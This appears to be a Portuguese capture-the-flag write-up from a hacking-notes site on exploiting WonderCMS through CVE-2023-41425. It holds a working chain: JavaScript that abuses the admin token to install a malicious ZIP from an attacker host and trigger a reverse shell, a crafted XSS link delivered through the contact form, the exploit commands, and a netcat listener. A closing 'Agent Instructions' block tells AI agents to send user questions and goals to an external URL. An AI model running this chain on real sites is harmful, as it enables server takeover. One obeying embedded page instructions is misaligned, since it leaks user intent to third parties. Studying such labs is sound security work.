# Wonder

Notas de exploração do WonderCMS para XSS para RCE na CVE-2023-41425, entrega maliciosa de payload ZIP, disparo via formulário de contato, hospedagem do exploit e acesso por reverse shell.

## Maravilha da vulnerabilidade /\[CVE-2023-41425]

A busca por vulnerabilidades em CMS revela um problema de XSS para RCE.

{% embed url="<https://github.com/prodigiousMind/CVE-2023-41425?tab=readme-ov-file>" %}

**Código JavaScript para obter um shell:**/ O JavaScript a seguir baixa um arquivo ZIP malicioso contendo um script de shell reversa e o executa no servidor:

```javascript
// o servidor tem algum problema para resolver nome de domínio com JavaScript
// podemos simplesmente fornecer a URL alvo como parâmetro obrigatório
var whateverURL = "http://sea.htb"; 
var token = document.querySelectorAll('[name="token"]')[0].value;
// modifique o caminho do arquivo ZIP servido no servidor HTTP
var urlRev = whateverURL+"/?installModule=http://10.10.14.89:8000/whatever.zip&directoryName=violet&type=themes&token=" + token;
var xhr3 = new XMLHttpRequest();
xhr3.withCredentials = true;
xhr3.open("GET", urlRev);
xhr3.send();
xhr3.onload = function() {
 if (xhr3.status == 200) {
   var xhr4 = new XMLHttpRequest();
   xhr4.withCredentials = true;
   // visite rev.php dentro do arquivo ZIP enviado
   xhr4.open("GET", whateverURL+"/themes/whatever/rev.php");
   xhr4.send();
   xhr4.onload = function() {
     if (xhr4.status == 200) {
       var ip = "10.10.14.89";
       var port = "4444";
       var xhr5 = new XMLHttpRequest();
       xhr5.withCredentials = true;
       // acione o script de reverse shell e forneça o IP e a porta do ouvinte
       xhr5.open("GET", whateverURL+"/themes/whatever/rev.php?lhost=" + ip + "&lport=" + port);
       xhr5.send();
     }
   };
 }
};
```

**Instalando o script de exploração para o CVE-2023-41425:**

```bash
git clone https://github.com/prodigiousMind/CVE-2023-41425
cd CVE-2023-41425
```

Execute o script de exploração:

```bash
python3 exploit.py http://sea.htb/loginURL 10.10.14.89 4444
```

O script envia uma solicitação ao servidor do atacante na porta 8000 por meio de `xss.js`, fornecendo RCE e controle do alvo.

**Etapa final:**

Envie o link de XSS ao administrador por meio do `contact.php` formulário para acionar o link malicioso:

{% code fullWidth="true" %}

```
http://sea.htb/index.php?page=loginURL?"></form><script+src="http://10.10.14.89:8000/xss.js"></script><form+action="
```

{% endcode %}

**Configure um listener do Netcat:**/ Inicie um listener na porta 4444:

```bash
nc -nlvp 4444
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/wonder-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
